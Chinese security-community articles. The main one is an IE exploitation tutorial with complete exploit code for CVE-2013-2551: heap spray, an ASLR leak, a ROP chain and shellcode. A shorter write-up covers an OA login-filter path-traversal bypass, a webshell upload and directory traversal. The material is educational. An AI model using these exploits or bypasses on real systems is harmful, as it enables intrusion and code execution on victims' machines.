如果我们把代码给通过SMC给加密了，exe启动时，先根据重定位表把内存中的存储的地址修正，然后再执行我们的代码，到SMC解密代码时，把刚修正的正确的地址也连着解密，结果才修正的地址又错误了。所以就会导致地址错误。 ### 解决方法 对于这样的问题，一般的解决方法是尽可能的避免使用此类动态地址。 但是如果遇到很重要的变量涉及到动态地址，又一定要使用，有一个很不错方法，就是将该变量在放在SMC加密函数外部，程序运行时该变量就能正确赋值， **通过堆栈传入该变量** ，SMC加密的代码调用该变量是通过`[ebp-0x4]`类似这样的方式取值。或者直接通过参数传入动态地址。 这样可以避免这个问题，建议自己实现SMC加密时遇到此类问题，可以试试这种方法。 ## 5.SMC易踩雷点 1.注意SMC加解密代码所属的节区是否有可写权限！！！！ 2.注意pe结构中的数据，尤其是目录项中的各种表结构。 3.涉及到要重定位的动态地址被加密。 ## 6.闲话 感觉SMC加密技术比较考验使用者对内存和地址的理解，挺不错的，可以保护代码加大反调试的难度，也可以用于恶意代码的变形。 ## 7.最后 参考文章：[用C/C++实现SMC动态代码加密技术](https://blog.csdn.net/orbit/article/details/1497457#commentBox)
社区文章
## 一、前言 之前审计的时候感觉他这权限校验的过滤器有些问题，然后就重新看了一下filter。然后就开始了这次审计。 ## 二、过滤器缺陷 我们打开项目，来看web.xml 注意到这个过滤器 点进去看一下 此处判断用户是否登录，没登录的话就进去，登录了的话进入else。 if (!path.equals("/") && path.indexOf("/WXCallBack") == -1 && path.indexOf("/WXAddressCallBackServlet") == -1 && path.indexOf("/DdEventChangeReceiveServlet") == -1 && path.indexOf("/weixin") == -1 && path.indexOf("/dingding") == -1 && path.indexOf("common.js") == -1 && path.indexOf("module_field_ajax.jsp") == -1 && path.indexOf("/setup") == -1 && !path.equals("/index.jsp") && path.indexOf("/login_oa") == -1 && path.indexOf("/checkuser_ajax") == -1 && path.indexOf("/activex") == -1 && path.indexOf("/public") == -1 && path.indexOf("/js/") == -1 && path.indexOf("/inc/") == -1 && path.indexOf("/skin") == -1 && path.indexOf("/other") == -1 && path.indexOf("chatservice") == -1 && path.indexOf("images/") == -1 && path.indexOf("nest_") == -1 && path.indexOf("/flow/") == -1 && path.indexOf("module_sel.jsp") == -1 && path.indexOf("basic_select_sel.jsp") == -1 && path.indexOf("module_field_sel.jsp") == -1 && (isAccessUpfileNeedLogin || path.indexOf("/upfile") == -1) && path.indexOf("/wap") == -1 && path.indexOf("/test") == -1 && path.indexOf("desktop") == -1 && path.indexOf("admin/ide_left.jsp") == -1 && path.indexOf("reportServlet") == -1 && path.indexOf(".txt") == -1 && path.indexOf("wiki_export_doc") == -1 && path.indexOf("exam") == -1 && path.indexOf("macro") == -1 && path.indexOf("module_check") == -1 && requrl.indexOf("/error.jsp") == -1) 这个差不多相当于给出了哪些路径不需要登录。 但是他居然使用indexOf来判断，而且使用的getRequestURI()来获取路径。 所有我们只要使用/oa/js/../xx.jsp就能绕过这个过滤器的登录检测 ## 三、任意文件上传 虽然我们绕过了过滤器的登录检测，但是有的jsp文件中存在用户登录检测。我们上篇文章中网盘功能的皆存在。 所以我要找一个文件中没有登录检测的上传功能。 最后找到visual_add.jsp这个文件可以利用 这个点进去一顿跟最后到这里 这里面没做后缀检测，但是全局过滤器存在检测不能上传jsp和jspx，windows下可以采用jsp空格等绕过 但是此上传不返回路径文件名，文件名存在数据库中，通过id=xx下载。 文件名为时间戳加几个随机数很难爆破。 ## 四、目录遍历 于是想找一个目录遍历漏洞，查了一下java遍历目录下文件的方法。 全局搜索 点进去发现第一个存在漏洞。 获取一个mappingAddres参数，这个参数就是路径，这文件也不用登陆。 得到shell名字。 ## 五、总结 通过发现过滤器缺陷绕过登录检测实现未授权文件上传，再通过目录遍历获取shell文件名成功RCE。
社区文章
# 【技术分享】 ​IE浏览器漏洞利用技术的演变 ( 二 ) | ##### 译文声明 本文是翻译文章，文章来源：安全客 译文仅供参考，具体内容表达以及含义原文为准。 **** **作者：**[ **hac425**](http://bobao.360.cn/member/contribute?uid=2553709124) **稿费：500RMB（不服你也来投稿啊！）** **投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿** **传送门** 【技术分享】 IE浏览器漏洞利用技术的演变 ( 一） [http://bobao.360.cn/learning/detail/3021.html](http://bobao.360.cn/learning/detail/3021.html) **前言** 在上一篇文章中，我们讲了一些早期的 ie相关的漏洞的利用，从最基础，最简单的栈溢出漏洞的利用说起，到相对而言更加复杂的UAF 漏洞利用。透过这些漏洞利用的演变，我们仿佛可以看到人类社会由原始野蛮的社会向一个文明的社会的演变的一个缩影。针对IE的漏洞利用，最开始是使用栈溢出漏洞，栈溢出漏洞的利用非常的简单粗暴，我们可以直接通过过长的字符串覆盖掉函数的返回地址或者seh链的结构来直接的劫持掉程序的eip，控制程序的执行流程。在实际利用时，为了稳定性和简便性，一般先使用堆喷射技术将我们的 payload (nops + shellcode)布置到一个可以预测的地址，这个地址一般是0x0c0c0c0c，之后将通过溢出把 eip的值控制为 0x0c0c0c0c 实现，之后程序会跳入到nops 块中，最终执行到shellcode区，完成漏洞利用。 可以看到这整个过程非常的简单粗暴，用仙果的话来说就是这样的漏洞利用”不优雅＂，后来UAF漏洞出现了，漏洞利用技术也变得优雅了起来，针对 UAF漏洞的利用，hacker们的手法也比之前的栈溢出漏洞的利用手法，精细了不少，利用的套路是：等存在漏洞的对象被释放后，申请一些大小与被释放对象所占内存大小相同的对象，实现＂占坑＂，之后在修改那块内存的数据（一般是开始４字节，虚表），最后调用虚函数，触发漏洞，劫持eip。 可以很明显的感受到整个漏洞利用的流程比之前要优雅了不少，hacker们需要小心的操纵内存的分配，以实现对那块释放的内存的重利用。当然这整个过程还是有＂不优雅＂的地方，在漏洞利用的最后阶段，我们利用的还是最开始的那一种布置shellcode的方法，就直接大量地喷射内存，不管三七二十一把eip设为0x0c0c0c0c 实现漏洞的利用。这种方式在没有DEP 的情况下还是可取的。但是 DEP 爸爸一来，什么都变了。 那么DEP到底啥呢？DEP（数据执行保护，Data Execution Prevention）的基本原理是将数据所在的内存页标识为不可执行，当程序溢出成功转入ShellCode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。而我们之前的漏洞利用的最后一步都是直接跳到数据区去执行代码的，这样在DEP作用下我们先前所有的漏洞利用都会被操作系统终结到最后一步，是不是很气？我觉得当时的hacker们一定是非常无奈的（我都搞定eip了，你却不让我执行我的代码，你逗我玩呢？ 但 hacker的信条里没有＂放弃＂这个词，有的只是＂突破一切＂！一段时间的困惑之后，有些聪明hacker发现，你不是不让我执行我的数据吗？那好我就不执行我的数据，我执行你程序自身的数据总可以了吧。应为程序自身肯定是需要执行代码的，于是我们可以通过重用程序的代码把他们拼接起来最终实现我们需要的功能。这种技术被称为ROP（Return Oriented Programming，返回导向编程）。关于ROP技术详细介绍，利用的方式网上已有大量的文章进行了说明，请不熟悉的读者自行百度，在这里就不赘述了。 **IE浏览器漏洞利用技术的演变** 对于DEP，现在我们就有了ROP这一技术来对其进行绕过。引入了ROP技术的同时，也引入新的问题，大多数情况下我们不会用rop链来实现我们shellcode所需的功能，更通用的方式是通过调用一些系统提供的可以设置内存属性的函数来将shellcode所在内存区域设置为可执行属性，这样一来我们就能执行我们的输入数据了。我们知道用于rop的一些代码段（我们称之为gadgets) 是一些以 ret指令结尾的代码片段。而 ret 指令是对栈上的数据进行操作的，而现实是我们现在获得的ie漏洞基本没有可以控制栈数据的了。我们能控制的只有堆上面的数据（通过使用＂堆喷射＂技术），这时我们要用到一个有趣的指令：xchg reg ,esp 这样的一条指令作用是交换reg寄存器与esp寄存器的值。而在一些堆相关的漏洞中我们往往能控制至少一个寄存器的值，设想一下我们将某个寄存器的值设为0x0c0c0c0c (没错又是这个有趣的地址)，再使用一条xchg指令将esp的值和该寄存器的值互换，这样一来程序的栈就变成了我们可控的地方了，漏洞利用是不是又变得优雅了一些。 现在还剩下最后一个问题：在我们成功执行rop链设置shellcode所在内存为可执行属性之前，我们没有办法执行堆上的数据的，所以在我们使用类似于xchg reg ,esp 的指令切换好栈后，我们ret的地址必须是在rop链的第一个地址。要解决这个问题就要用到＂精准的堆喷射＂技术。我们知道动态申请的内存的地址是不断变化的，所以位于 0x0c0c0c0c地址处的数据也应该是会变化的，所谓的＂精准的堆喷射＂就是使用一些特殊的堆布局使得位于0x0c0c0c0c处的数据为一个恒定的值，这样一来，在ie 中使用rop的又一道难关被突破。下面来实战下＂精准的堆喷射＂吧！ 先来一个可以在ie8上进行堆喷射的脚本： <html> <head> <script>  // [ Shellcode ] var shellcode = "xccxcc"  var fill = unescape("%u0c0c%u0c0c");  while (fill.length < 0x1000){  fill += fill;  }  // [ fill each chunk with 0x1000 bytes ]  evilcode = shellcode + fill.substring(0, 0x800 - shellcode.length);  // [ repeat the block to 512KB ]  while (evilcode.length < 0x40000){  evilcode += evilcode;  }  // [ substring(2, 0x40000 - 0x21) - IE8 ]  var block = evilcode.substring(2, 0x40000 - 0x21);  // [ Allocate 200 MB ]  var slide = new Array();  for (var i = 0; i < 400; i++){  slide[i] = block.substring(0, block.length);  } (1); </script> </body> </html> 弹出弹框(为了便于调试，相当于下个断点）时用调试器附加上，看看内存的布局． 可以看到我们已经能够将数据喷射到 **0x0c0c0c0c** 这个地址处了。下一步我们该做的就是控制 **0x0c0c0c0c** 这个地址处的值。基于前辈们的努力，我们可以使用以下方法控制该处的值。具体的做法如下： 1.当完成堆的喷射之后，查看 **0x0c0c0c0c** 所在的堆块的属性。做法是：在完成堆喷射后，使用windbg附加上ie，输入：＂ **!heap -p -a 0c0c0c0c** ＂命令。 2.来一波数学计算吧 以看出，0x0C0C0C0C所在堆块的 **UserPtr为0x0c050020** ，可以计算： 0x0C0C0C0C - 0x0c050020 = 0x70BEC 0x50BEC / 2 = 0x385F6 0x285F6 % 0x1000 = 0x5F6 其中第一个表达式求出0x0C0C0C0C到UserPtr的距离，因为JavaScript中字符串是Unicode形式的，所以在第二个表达式中我们进行了除以2的操作，又因为堆块的对齐粒度是0×1000，所以将结果对0×1000进行取余。 **注意每一次查看0x0C0C0C0C所在堆块的UserPtr会不尽相同，但是在特定的环境下计算出来的最终结果基本是一致的** ，于是堆中每一块0×1000大小的数据看起来如图所示： 我们通过把每个0×1000大小的数据块，以上图所示的样子布局就能控制好 0x0c0c0c0c 处的值． 修改后堆喷射脚本为：  <html>  <head> <script>  // [ Shellcode ] var shellcode = unescape("%u4242%u4242"); var rop_chains = unescape("%u4141%u4141");  var fill = unescape("%u0c0c%u0c0c");  while (fill.length < 0x1000){  fill += fill;  }  // [ padding offset ]  padding = fill.substring(0, 0x5F6);  // [ fill each chunk with 0x1000 bytes ]  evilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);  // [ repeat the block to 512KB ]  while (evilcode.length < 0x40000){  evilcode += evilcode;  }  // [ substring(2, 0x40000 - 0x21) - IE8 ]  var block = evilcode.substring(2, 0x40000 - 0x21);  // [ Allocate 200 MB ]  var slide = new Array();  for (var i = 0; i < 400; i++){  slide[i] = block.substring(0, block.length);  } (1); </script> </body> </html> 效果就是： 可以看到现在的0x0c0c0c0c处的值恰好为rop链的开头。又一个难关被攻克。 下面进入今天的这个漏洞，今天要完成漏洞利用的漏洞是: **CVE-2013-2551 IE COALineDashStyleArray** 整数溢出漏洞。 **漏洞产生的原理是** 在更改dashstyle数组的长度时，程序会将重新设置的长度与当前数组长度进行比较，如果大于当前数组长度就会重新分配一块内存来存储数组。小于的话就不分配内存。而在进行长度值比较时，使用的是有符号比较，所以当我们将长度设为0-1=0xffffffff时，就会发生整数溢出，使得不重新分配内存，但是数组的长度已经变大，于是我们就能越界读写相邻的内存了。 那么我们应该怎么利用这种漏洞呢？套路是，分配大量的其他的对象，在他们的中间插入一个存在越界读写漏洞的对象（在这里是dashstyle数组）。之后触发漏洞，读取相邻对象的一些特殊的结构，来计算模块基地址绕过ASLR ,构造rop链，之后再次触发漏洞，将相邻对象的虚表指针修改以控制程序的执行流程。 **具体到这个漏洞的做法是：** 1.通过构造0x400个COARuntimeStyle对象，在第0x301处创建一个包含44个元素的dashstyle数组.这样一来会分配4*44=0xb0大小的ORG数组．这样一来ORG数组和COARuntimeStyle对象就会相邻，此时利用漏洞越界访问到位于COARuntimeStyle对象偏移0x58的字符串（即marginLeft 属性值）的地址，之后将其地址设置为0x7ffe0300，在这个地址处存放的值与ntdll.dll模块的基地址有一个固定的偏移，这样我们再读取marginLeft 属性值就能读到那个有固定偏移的值，在通过计算我们可以得到ntdll.dll模块基地址绕过aslr.　poc中的相关代码如下：     vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;     var leak = a[i].marginLeft; 2.通过第一步中泄露出来的基地址，使用ntdll模块中的指令构造出 rop链来调用ntdll!ZwProtectVirtualMemory　函数将shellcode地址设置为可读可写可执行权限，从而绕过 DEP ，并利用＂精准堆喷射＂技术将rop链的开头喷射到 0x0c0c0c0c这个地址处，再次的触发漏洞，修改对象的虚表，从而获得代码执行．覆盖虚表的关键代码如下：     vml1.dashstyle.array.length = 0 - 1;     vml1.dashstyle.array.item(6) = 0x0c0c0c0c; 先来看看实现信息泄露的poc代码：  <html>  <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> ms13_037 </title> <!-- Include the VML behavior --> <style>v: * { behavior:url(#default#VML); display:inline-block }</style> <!-- Declare the VML namespace --> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> var rect_array = new Array() var a          = new Array() function createRects(){  for(var i=0; i<0x400; i++){  rect_array[i]    = document.createElement("v:shape")  rect_array[i].id = "rect" + i.toString()  document.body.appendChild(rect_array[i])  } } function getNtdllBase(){  var vml1  = document.getElementById("vml1")  var shape = document.getElementById("shape")  for (var i=0; i<0x400; i++){    //set up the heap a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;  }  for (var i=0; i<0x400; i++){ a[i].rotation;                                                   //create a COARuntimeStyle if (i == 0x300) {                                                //allocate an ORG array of size B0h vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"   }  }  var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length      = 0 - 1; for (var i=0; i<0x400; i++) { a[i].marginLeft   = "a"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) {  vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;  var leak = a[i].marginLeft;  vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;  vml1.dashstyle.array.length = length_orig;  ntdll_base=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16 ) - 290992;  (ntdll_base.toString(16));  break;  }  }  return ntdll_base; } </script> <body onload="createRects();"> <v:oval> <v:stroke id="vml1"/> </v:oval> <v:oval> <v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/> </v:oval> <input value="GetNtdllBaseAddr"type="button" onclick="getNtdllBase();"></input> </body> </html> 和先前说的一样， **先** **通过vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300将marginLeft属性值的地址设为0x7ffe0300，** **再通过读取marginLeft属性值获取 0x7ffe0300处四字节数据，减去0x470b0（即290992,同时dll版本不同偏移也不一样）得到ntdll的基地址** ，来看看效果： 可以看到我们的信息泄露时成功的，我们再从调试器的角度来验证下这个计算公式是否正确。附加进程断下后，查看0x7ffe0300处的数据： 0:015> dd 0x7ffe0300 7ffe0300  775e70b0 775e70b4 00000000 00000000 7ffe0310  00000000 00000000 00000000 00000000 7ffe0320  0006330e 00000000 00000000 00000000 7ffe0330  cffa5133 00000000 00000dd0 00000000 7ffe0340  00000000 00000000 00000000 00000000 7ffe0350  00000000 00000000 00000000 00000000 7ffe0360  00000000 00000000 00000000 00000000 7ffe0370  00000000 00000000 00000000 00000000 **0x775e70b0－0x470b0 = 0x775a0000** 等于模块基地址，说明成功。现在我们已经得到了ntdll模块基地址于是我们就能构造我们的rop链了。下面我们将使用先前得到的模块基地址构造rop链之后再用”精准的堆喷射”技术将rop 链精准的布置到0x0c0c0c0c处。由于先前已经介绍了获取基地址的方式，这里直接定义基地址的值以减少篇幅。 喷射代码：  <html>  <head> <script> function getRealAddr(base ,offect){  var real_addr = base + offect;  var str = real_addr.toString(16);  var s1 = str.substring(0,4);  var s2 = str.substring(4,8);  return "%u" + s2 + "%u" + s1 } var ntdll_base = 0x775a0000; stack_pivot = getRealAddr(ntdll_base,0x0001578a);//# ret # from ntdll stack_pivot += getRealAddr(ntdll_base,0x000096c9);//# pop ebx # ret # from ntdll stack_pivot += getRealAddr(ntdll_base,0x00015789);// # xchg eax, esp # ret from ntdll ntdll_rop = getRealAddr(ntdll_base ,0x45F18);//# ntdll!ZwProtectVirtualMemory ntdll_rop += "%u0c40%u0c0c"; ntdll_rop += "%uffff%uffff"; ntdll_rop += "%u0c34%u0c0c"; ntdll_rop += "%u0c38%u0c0c"; ntdll_rop += "%u0c40%u0c0c"; ntdll_rop += "%u0c3c%u0c0c"; ntdll_rop += "%u0c40%u0c0c"; ntdll_rop += "%u0400%u0000"; ntdll_rop += "%u4141%u4141"; rop_chains = unescape(stack_pivot + ntdll_rop); //heapspray    // [ Shellcode ] var shellcode = unescape( "%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" + "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" + "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" + "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" + "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" + "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" + "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" + "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" + "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" + "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" + "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" + "%u6c61%u2e63%u7865%u0065");  var fill = unescape("%u0c0c%u0c0c");  while (fill.length < 0x1000){  fill += fill;  }  // [ padding offset ]  padding = fill.substring(0, 0x5F6);  // [ fill each chunk with 0x1000 bytes ]  evilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);  // [ repeat the block to 512KB ]  while (evilcode.length < 0x40000){  evilcode += evilcode;  }  // [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ]  var block = evilcode.substring(2, 0x40000 - 0x21);  // [ Allocate 200 MB ]  var slide = new Array();  for (var i = 0; i < 400; i++){  slide[i] = block.substring(0, block.length);  }  ("heapspray done"); </script> </head> </html> 效果： 对比脚本代码，我们知道堆喷射也成功了。位于0x0c0c0c0c地址处的数据恰好是rop的开头。前面代码的rop链构造的有些奇怪，和我开头所说的有点不同，它在xchg指令之前还有一些指令，这是为什么呢? 其实这是根据漏洞实际情况来构造的。我们看看劫持程序时的一个情景： 0:014> g (430.99c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=1260773c ecx=12d0b010 edx=00000c8d esi=12607750 edi=12607738 eip=6ca5f20f esp=024eb5d0 ebp=024eb608 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202 *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:WindowsSystem32mshtml.dll -  mshtml!Ordinal104+0x4ec70: 6ca5f20f ff5008          call    dword ptr [eax+8]    ds:0023:41414149=???????? 0:005> u mshtml!Ordinal104+0x4ec70: 6ca5f20f ff5008          call    dword ptr [eax+8] 6ca5f212 ebf7            jmp     mshtml!Ordinal104+0x4ec6c (6ca5f20b) 6ca5f214 90              nop 6ca5f215 90              nop 6ca5f216 90              nop 6ca5f217 90              nop 6ca5f218 90              nop 6ca5f219 8b425c          mov     eax,dword ptr [edx+5Ch] 这里的eax的值就是通过 **vml1.dashstyle.array.item(6) = 0x41414141** 设置的，设置成0x41414141的目的是为了便于分析劫持程序流程时的一些情况。可以看到eax的值就是我们设置的。程序最终会调用 **call dword ptr [eax+8]** 指令来实现虚函数调用。我们来将eax假定为 0x0c0c0c0c，对照着rop链来推理一波。 rop链： stack_pivot = getRealAddr(ntdll_base,0x0001578a);//# ret # from ntdll　　　　<－－－－－－－－－0x0c0c0c0c stack_pivot += getRealAddr(ntdll_base,0x000096c9);//# pop ebx # ret # from ntdll stack_pivot += getRealAddr(ntdll_base,0x00015789);// # xchg eax, esp # ret from ntdll ntdll_rop = getRealAddr(ntdll_base ,0x45F18);//# ntdll!ZwProtectVirtualMemory ntdll_rop += "%u0c40%u0c0c";//# ret to shellcode ntdll_rop += "%uffff%uffff";// ntdll_rop += "%u0c34%u0c0c"; ntdll_rop += "%u0c38%u0c0c"; ntdll_rop += "%u0c40%u0c0c"; ntdll_rop += "%u0c3c%u0c0c"; ntdll_rop += "%u0c40%u0c0c"; ntdll_rop += "%u0400%u0000"; ntdll_rop += "%u4141%u4141"; rop_chains = unescape(stack_pivot + ntdll_rop); **eax=0x0c0c0c0c 那么call dword ptr [eax+8] 程序就会去执行 # xchg eax, esp # ret ， xchg eax,esp后,esp指向了0x0c0c0c0c，再来一个ret ，,就会跳转到另一个ret指令，然后进入下一条rop指令，# pop ebx # ret ，这样一个pop就将我们刚才执行过的xchg指令绕过了。** 再来一个ret，我们就会跳转到ntdll!ZwProtectVirtualMemory函数，执行，函数的参数已经布置好了。函数执行完毕时，我们的shellcode所在的内存区域就会被设置为可执行，并会跳转到shellcode这样就绕过了DEP。我们来实际调试下这样的一段rop指令。改怎么调试呢？我们可以在0x0c0c0c14处下 硬件读取断点。因为位于0x0c0c0c14处的值就是xchg指令的地址，一般而言这种ie的rop链第一步就是使用类似于 xchg指令来把堆伪造成栈。所以我们在这下断点。 这里使用的poc(同样为了简便，将没有使用信息泄露，直接硬编码了ntdll模块基地址，这个需要修改）:  <html> <head> <script> function getRealAddr(base ,offect){  var real_addr = base + offect;  var str = real_addr.toString(16);  var s1 = str.substring(0,4);  var s2 = str.substring(4,8);  return "%u" + s2 + "%u" + s1 } var ntdll_base = 0x775a0000; stack_pivot = getRealAddr(ntdll_base,0x0001578a); stack_pivot += getRealAddr(ntdll_base,0x000096c9); stack_pivot += getRealAddr(ntdll_base,0x00015789); ntdll_rop = getRealAddr(ntdll_base ,0x45F18); ntdll_rop += "%u0c40%u0c0c"; ntdll_rop += "%uffff%uffff"; ntdll_rop += "%u0c34%u0c0c"; ntdll_rop += "%u0c38%u0c0c"; ntdll_rop += "%u0c40%u0c0c"; ntdll_rop += "%u0c3c%u0c0c"; ntdll_rop += "%u0c40%u0c0c"; ntdll_rop += "%u0400%u0000"; ntdll_rop += "%u4141%u4141"; rop_chains = unescape(stack_pivot + ntdll_rop); //heapspray    // [ Shellcode ] var shellcode = unescape( "%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" + "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" + "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" + "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" + "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" + "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" + "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" + "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" + "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" + "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" + "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" + "%u6c61%u2e63%u7865%u0065");  var fill = unescape("%u0c0c%u0c0c");  while (fill.length < 0x1000){  fill += fill;  }  // [ padding offset ]  padding = fill.substring(0, 0x5F6);  // [ fill each chunk with 0x1000 bytes ]  evilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);  // [ repeat the block to 512KB ]  while (evilcode.length < 0x40000){  evilcode += evilcode;  }  // [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ]  var block = evilcode.substring(2, 0x40000 - 0x21);  // [ Allocate 200 MB ]  var slide = new Array();  for (var i = 0; i < 400; i++){  slide[i] = block.substring(0, block.length);  }  ("heapspray done"); </script> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x1000; i++){ rect_array[i]    = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x1000; i++){ a[i] = document.getElementById("rect" + i.toString())._anchorRect; if (i == 0x800) { vml1.dashstyle = "1 2 3 4" } } vml1.dashstyle.array.length = 0 - 1; vml1.dashstyle.array.item(6) = 0x0c0c0c0c; for (var i=0; i<0x1000; i++) { delete a[i]; CollectGarbage(); } location.reload(); } </script> <body onload="createRects(); exploit();"> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html> rop链的调试过程如下： 0:014> ba r4 0c0c0c14 0:014> g Breakpoint 0 hit eax=0c0c0c0c ebx=1264d864 ecx=12dadc20 edx=000009e6 esi=1264d878 edi=1264d860 eip=775b5789 esp=0243b1b4 ebp=0243b1f0 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202 ntdll!RtlAddSIDToBoundaryDescriptor+0x3b1: 775b5789 94              xchg    eax,esp 0:005> p eax=0243b1b4 ebx=1264d864 ecx=12dadc20 edx=000009e6 esi=1264d878 edi=1264d860 eip=775b578a esp=0c0c0c0c ebp=0243b1f0 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202 ntdll!RtlAddSIDToBoundaryDescriptor+0x3b2: 775b578a c3              ret 0:005> p eax=0243b1b4 ebx=1264d864 ecx=12dadc20 edx=000009e6 esi=1264d878 edi=1264d860 eip=775b578a esp=0c0c0c10 ebp=0243b1f0 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202 ntdll!RtlAddSIDToBoundaryDescriptor+0x3b2: 775b578a c3              ret 0:005> p eax=0243b1b4 ebx=1264d864 ecx=12dadc20 edx=000009e6 esi=1264d878 edi=1264d860 eip=775a96c9 esp=0c0c0c14 ebp=0243b1f0 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202 ntdll!RtlLockMemoryBlockLookaside+0x88: 775a96c9 5b              pop     ebx 0:005> p Breakpoint 0 hit eax=0243b1b4 ebx=775b5789 ecx=12dadc20 edx=000009e6 esi=1264d878 edi=1264d860 eip=775a96ca esp=0c0c0c18 ebp=0243b1f0 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202 ntdll!RtlLockMemoryBlockLookaside+0x89: 775a96ca c3              ret 0:005> p eax=0243b1b4 ebx=775b5789 ecx=12dadc20 edx=000009e6 esi=1264d878 edi=1264d860 eip=775e5f18 esp=0c0c0c1c ebp=0243b1f0 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202 ntdll!ZwProtectVirtualMemory: 775e5f18 b8d7000000      mov     eax,0D7h 可以看到rop链如我们预期的那样运行着．我们再在 0c0c0c40处下断点，应为这里时shellcode的起始地址，我们看看DEP是否关闭成功： 0:005> bp 0c0c0c40 0:005> g Breakpoint 1 hit eax=c0000045 ebx=775b5789 ecx=0c0c0c18 edx=775e70b4 esi=1264d878 edi=1264d860 eip=0c0c0c40 esp=0c0c0c34 ebp=0243b1f0 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202 0c0c0c40 fc              cld 0:005> p eax=c0000045 ebx=775b5789 ecx=0c0c0c18 edx=775e70b4 esi=1264d878 edi=1264d860 eip=0c0c0c41 esp=0c0c0c34 ebp=0243b1f0 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202 0c0c0c41 e889000000      call    0c0c0ccf 可以看到是成功的，我们已经能执行堆中的数据了^__^ ,此时按下g 我们的计算器就弹出来了． 这样，这个漏洞的漏洞利用就被我们分段的完成了，我们回过头来看看整个漏洞利用过程。首先我们通过数组越界修改对象的属性值地址，读到了一个值，通过这个值计算出了ntdll模块的基地址，并通过该基地址构造出rop链，之后又再次触发了漏洞，修改对象虚表指针，劫持程序执行流，完成了整个漏洞利用。这其中的每一步都是那么精妙，可以说只要稍微有点偏差，整个漏洞利用就会失败。可以说这样的漏洞利用真正的可以配得上＂优雅＂这个词语了。整个漏洞利用的一个连贯过程，metasploit上实现的非常棒，我们来看看效果。 可以看到metasploit把漏洞利用玩的像一件艺术品一样，厉害！ 